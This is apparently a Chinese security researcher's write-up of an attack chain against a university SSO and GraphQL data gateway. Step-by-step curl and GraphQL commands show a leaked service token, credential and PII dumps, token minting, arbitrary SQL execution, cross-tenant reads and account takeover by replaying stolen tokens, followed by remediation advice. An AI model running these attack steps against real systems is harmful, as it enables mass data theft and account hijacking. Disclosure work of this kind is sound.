从一条报错到全校会话库：某高校 SSO + GraphQL 数据网关的完整攻击链

一、先说结论#

目标是一套典型的”高校信息化中台”：前面是 OAuth2 统一认证（SSO），后面挂着一个 GraphQL 聚合网关（按模块分路由：builtin/iam/iga/hub/infoplus…），再往后是 MySQL 与 Oracle 两个业务库。

它的攻击链闭合得非常”标准”，几乎每一步都是教科书上的经典缺陷，但组合起来能一路打穿：

1
① 未授权入口（GraphQL 控制台 + 聚合网关）
2
      ↓
3
② 空 token 触发 500，把内部服务令牌原样回显
4
      ↓
5
③ 用该令牌读业务数据 → 25 万 PII / 31 个应用明文密钥 / 数据库明文口令
6
      ↓
7
④ 用泄露的 client_secret 走 client_credentials 自行铸令牌
8
      ↓
9
⑤ 读全量 OAuth2 会话令牌存储（约 35 万条明文 token）
10
      ↓
11
⑥ 三条后果线：
12
      · dataBySql  → 任意 SQL 执行（MySQL + Oracle 双通）
13
      · X-Tenant-Id → 跨租户读取
14
      · 重放他人令牌 → 实证账号接管 + refresh 持久化

也就是说服务端把内部凭证写进了错误信息是整个漏洞的起点。

二、目标画像#

两个设计层面的根因，读完后面所有漏洞会发现它们反复出现：

1. 租户上下文完全由请求头 X-Tenant-Id 决定，与访问令牌没有绑定关系。
2. 模块级鉴权只看 scope 字符串，不做对象级授权。一个 data 作用域到手，等于拿到 iam/hub/builtin 多个模块的聚合实体读取权。

三、第一把钥匙：500 页面里的服务令牌#

1
curl -sk -X POST 'https://xxx.edu.cn/appcenter/graphql?access_token=' \
2
  -H 'Content-Type: application/json' -d '{"query":"{__typename}"}'

1
{"code":500,
2
 "message":"内省 token url:https://xxx.edu.cn/sso/oauth2/introspect
3
            参数:{access_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx, token=} 发生错误:{...}"}

1
curl -sk -X POST 'https://xxx.edu.cn/sso/oauth2/introspect' \
2
  -d 'access_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'

1
{"aud":"<CLIENT_ID_APPCENTER>","scope":"data introspect storage","active":true,"exp":1792135687}

四、拿到 data 作用域之后：三个抽屉全开了#

用上面那把令牌 + 请求头 X-Tenant-Id: <TENANT>，一次就能翻出三样东西。

1
curl -sk -X POST 'https://xxx.edu.cn/bus/graphql/builtin?access_token=<SERVICE_TOKEN>' \
2
  -H 'X-Tenant-Id: <TENANT>' -H 'Content-Type: application/json' \
3
  -d '{"query":"{users(first:3){totalCount edges{node{account name phone}}}}"}'

1
{"users":{"totalCount":252xxx,"edges":[{"node":{"account":"...","name":"<姓名>","phone":"<手机号>"}}]}}

1
... -d '{"query":"{oauthApps(first:1){edges{node{clientId clientSecret appName}}}}"}'

1
{"clientId":"<CLIENT_ID_A>","clientSecret":"<CLIENT_SECRET_A>","appName":"<应用名>"}

1
curl -sk -X POST 'https://xxx.edu.cn/bus/graphql/hub?access_token=<SERVICE_TOKEN>' \
2
  -H 'X-Tenant-Id: <TENANT>' -H 'Content-Type: application/json' \
3
  -d '{"query":"{dataSources(first:1){edges{node{datasourceUrl datasourceUserName datasourcePassword}}}}"}'

1
{"datasourceUrl":"jdbc:mysql://10.x.x.x:3306","datasourceUserName":"root","datasourcePassword":"<REDACTED>"}

五、自己铸令牌：client_credentials 对公网完全开放#

/sso/oauth2/token 对 grant_type=client_credentials 没有任何来源限制——没有 IP 白名单、没有 mTLS、没有速率限制。任何拿到 client_id/secret 的人都能换发内部服务令牌：

1
curl -s -X POST https://xxx.edu.cn/sso/oauth2/token \
2
  -H 'Content-Type: application/x-www-form-urlencoded' \
3
  --data-urlencode grant_type=client_credentials \
4
  --data-urlencode client_id=<CLIENT_ID_A> \
5
  --data-urlencode client_secret=<CLIENT_SECRET_A>

1
{"access_token":"<NEW_TOKEN>",
2
 "scope":"client_edit data introspect client acl privilege",
3
 "token_type":"Bearer","expires_in":7200}

注意返回的 scope——这些应用被授予了远超”读数据”的权限：

/bus/graphql/builtin {oauthScopes} 直接把语义写脸上了：client_edit=编辑应用、tenant_edit=编辑租户、account_edit=编辑用户、setting_edit=编辑配置。

而 SSO 管理面（/sso/apis/v3）的 GraphQL Schema 暴露了 47 个 mutation，含 addOauthApp、updateOauthAppSecret、updatePwd、freezeUser、modifyLdapSetting。

六、核心一击：整个 OAuth2 会话库可被匿名读取#

iam 模块下的 accessTokens 聚合查询，对 data 作用域令牌完全开放，没有任何对象级授权：

1
query accessTokens($offset:Int,$first:Int,$keywords:String,$filter:Filter){
2
  accessTokens(offset:$offset,first:$first,filter:$filter,keywords:$keywords){
3
    totalCount
4
    edges{ node{ token fullName grantType expireTime scope openId name
5
                 oauthApp{appName clientId} } }
6
  }
7
}

1
{"data":{"accessTokens":{"totalCount":352xxx,"edges":[
2
  {"node":{"token":"<32位明文token>","fullName":"<学生A>",
3
           "grantType":"authorization_code","scope":"openid account",
4
           "oauthApp":{"appName":"infoplus"}}},
5
  {"node":{"token":"<32位明文token>","fullName":"<学生B>", ...}}]}}}

几个必须注意的细节：

1. token 字段是 32 位十六进制明文，不是哈希、不是掩码，可直接重放。同一查询还返回 refreshToken。
2. offset 可以任意翻页。totalCount 与 offset=352690 的响应计数一致，说明这是全库实时计数，不是分页缓存——可完整遍历。
3. 同一个 openId 下有 409 条令牌。因为一人多应用多次登录，泄露面按”应用数 × 登录次数”放大。
4. 全程没有 Cookie，唯一凭证是 URL 上的 access_token。

同一个令牌还能读：

• userActivityLogs：约 39.5 万条审计日志（sessionId / ip / deviceId）——用来精确定位”谁在什么时候从哪台设备登录”；
• iamAcls：ACL 授权表（实测看到 */*/* RWX）；
• users(keywords:"admin")：管理员清单。

这就是”全校 SSO 会话库被拖走”的字面含义：35 万条登录态 + 39 万条审计日志 + 授权表，等于给攻击者配了一份带定位功能的作战地图。

七、dataBySql：GraphQL 里的 SQL 任意执行#

hub 模块把 sql 参数直接交给数据源执行，并把 columns / rows 原样回显，没有语句类型白名单，没有参数化：

1
{ dataBySql(dataSourceName:"<ds>", sql:"show columns from some_table"){ columns rows } }

我没有用脚本批量跑，而是写了一小段带超时和耗时打印的封装（现场调 SQL 时最怕”看起来卡死”）：

1
TOKEN="<SERVICE_TOKEN>"; TENANT="<TENANT>"
2
URL="https://xxx.edu.cn/bus/graphql/hub?access_token=${TOKEN}"
3
CURL=(curl -sS --compressed --connect-timeout 10 --max-time 30
4
      -X POST "$URL" -H "X-Tenant-Id: ${TENANT}"
5
      -H 'Content-Type: application/json'
6
      -w '\n--- http=%{http_code} time=%{time_total}s bytes=%{size_download}\n')
7

8
# JSON 交给 python 生成，彻底避开 GraphQL 字符串的引号转义问题
9
q() {
10
  local payload
11
  payload=$(python3 -c 'import json,sys; print(json.dumps({"query": sys.argv[1]}, ensure_ascii=False))' "$1")
12
  "${CURL[@]}" --data-binary "$payload"
13
}
14

15
q '{dataSources(first:10){edges{node{datasourceName datasourceUrl databaseName}}}}'
16
q '{dataBySql(dataSourceName:"<ds>",sql:"show columns from some_table"){columns rows}}'
17
q '{dataBySql(dataSourceName:"<ds>",sql:"select 1 as x from some_table"){columns rows}}'
18
q '{dataBySql(dataSourceName:"<oracle_ds>",sql:"select 1 as x from dual"){columns rows}}'

验证结果分四层，逐层加码：

关键判读：select 1 from <真实表> 返回真实行数，这一条排除了”只能读元数据”的辩解——它是实打实的任意 SELECT 原语。而 WAF 的拦截属于关键字黑名单，show / 别名 / 编码都能绕，防护不可依赖。

另外要注意：GraphQL 层没有任何 SQL 校验，错误信息回显的是数据源原生报错（MySQL 的 You have an error in your SQL syntax 直接出现在 GraphQL error 里）。这也是一种信息泄露。

八、一个请求头就换了一套数据：X-Tenant-Id 越权#

网关的租户上下文完全来自请求头，与令牌所属租户不绑定，也不校验调用方是否属于该租户：

1
# 同一 URL、同一 token，唯一差异是这个头
2
curl ... -H 'X-Tenant-Id: <TENANT>'  -d '{"query":"{users(first:3){edges{node{account name}}}}"}'
3
curl ... -H 'X-Tenant-Id: localhost' -d '{"query":"{users(first:20){edges{node{account name}}}}"}'

结果：<TENANT> 返回该校真实师生，localhost 返回另一套用户与应用清单（oauthApps.totalCount 从 31 变成 22），且按 ID 交叉查证确认不是同名不同人。

大小写变体（XXX.EDU.CN）同样生效，说明连规范化校验都没做。

这类问题的正确修法只有一个：租户由令牌内的 claim 决定，客户端传来的头只当提示、必须校验成员关系。把它当”路由参数”用，就等于把租户隔离交给客户端。

九、从”元数据泄露”到”实证账号接管”#

这是整条链最后、也最能说明危害的一段。思路很朴素：既然令牌库里有 35 万条明文 token，那就挑活的、能用的，验证一下”到底能不能用”。

筛选条件是 grantType=authorization_code 且 scope 含 data 且未过期。然后：

a) 以他人身份读 PII

1
curl -sS 'https://xxx.edu.cn/infoplus/oauth2/userinfo?access_token=<STOLEN_TOKEN>' \
2
  -H 'X-Tenant-Id: <TENANT>'

返回该用户的邮箱、手机号、工号——实证接管，不是”理论上可以”。

b) 以他人身份读业务数据

用同一令牌读 tasks(todo)，返回 31,686 字节的真实待办清单（146 条，含环节名、formId、指派人）。这一条的说服力比 PII 更强：它证明攻击者能看到业务流状态，而”看到”在办事大厅里往往等于”能操作”。

c) 确认管理员身份

introspect 返回 active:true、userType=01、scope 含 process_edit task_edit data；再用 /sso/oauth2/userinfo 交叉验证，两个端点给出的身份一致。

d) 用 refresh_token 续命

1
curl -sS -X POST 'https://xxx.edu.cn/sso/oauth2/token' \
2
  -d 'grant_type=refresh_token&refresh_token=<STOLEN_REFRESH>&client_id=<CID>&client_secret=<CSECRET>'

1
{"expires_in":2592000, ...}

30 天，而且 access_token 和 refresh_token 都不轮换。续签后再 introspect，exp 从原值跳到”续签时刻 + 30 天”。这意味着：只要受害者不改密码，攻击者可以无限续期。

十、经验#

十一、如何防御#

P0（当天）

1. 轮换一切已泄露的凭证：全部 client_secret、数据库口令、在库服务令牌；吊销全部 OAuth2 会话令牌并强制重登。
2. 下线 dataBySql，或改为预编译命名查询（参数化模板 + 绑定变量），禁止拼接。
3. 统一错误响应：500 只返回 {"code":500,"message":"internal error","traceId":"..."}。在网关/WAF 层加正则，阻断响应体中的 access_token= / client_secret= / password=。

P1（24 小时）

4. accessTokens 字段级脱敏（去掉 token/refreshToken）+ 对象级授权：data 作用域不得读令牌库与审计日志。
5. client_credentials 仅限内网/固定 IP + mTLS；公网只保留 authorization_code + PKCE。按最小权限重配 scope，服务令牌不该带 *_edit / privilege / bootstrap。
6. oauthApps.clientSecret 只在创建时返回一次，之后只存哈希/掩码；数据源口令进 KMS/Vault，禁止明文落库。

P2（一周）

7. 租户由令牌 claim 决定，忽略 X-Tenant-Id；对租户标识做严格规范化 + 白名单。
8. 用户令牌 TTL 从 30 天降到小时级；refresh_token 强制 one-time rotation + 重放检测；续签绑定设备指纹/IP 段。
9. 数据源账号降为只读并按表授权；网关层做 SQL AST 校验（只允许单条 SELECT）。
10. /console/ 鉴权、关掉生产环境的 GraphiQL；CORS 白名单。

验证修复的方法：把本文每条 PoC 重跑一遍，确认返回 401/403 或空数据；再确认历史令牌全部失效。

总结#

第一，“小漏洞”和”大事故”之间只差几步。 一个 500 页面的信息泄露，静态扫描大概率只给个 low/medium。但它是整条链的入口——修掉它，后面全部不成立。所以做防御时，信息泄露应按”它泄露了什么权限的凭证”分级，而不是按”它是不是 500”分级。

第二，聚合层是越权的重灾区。 GraphQL 网关把十几个微服务的数据拼在一起，字段一大堆，鉴权很容易退化成”看 scope 字符串”。设计时要想清楚：这个字段谁能调到，而不只是谁能看到。clientSecret、token、datasourcePassword 这三个字段，本质上是”凭证”，不是”数据”，它们不该出现在任何响应里。

第三，报告的价值在于边界，不在于夸张。 我在报告里花了整整一节写”这个漏洞做不到什么”：令牌不能横向复用、普通用户令牌受 scope 限制、30 天不等于全权限、写操作只是推断未验证。这些”不”字，反而让前面那些”能”更可信。

附录：脱敏后的端点索引（自查用）#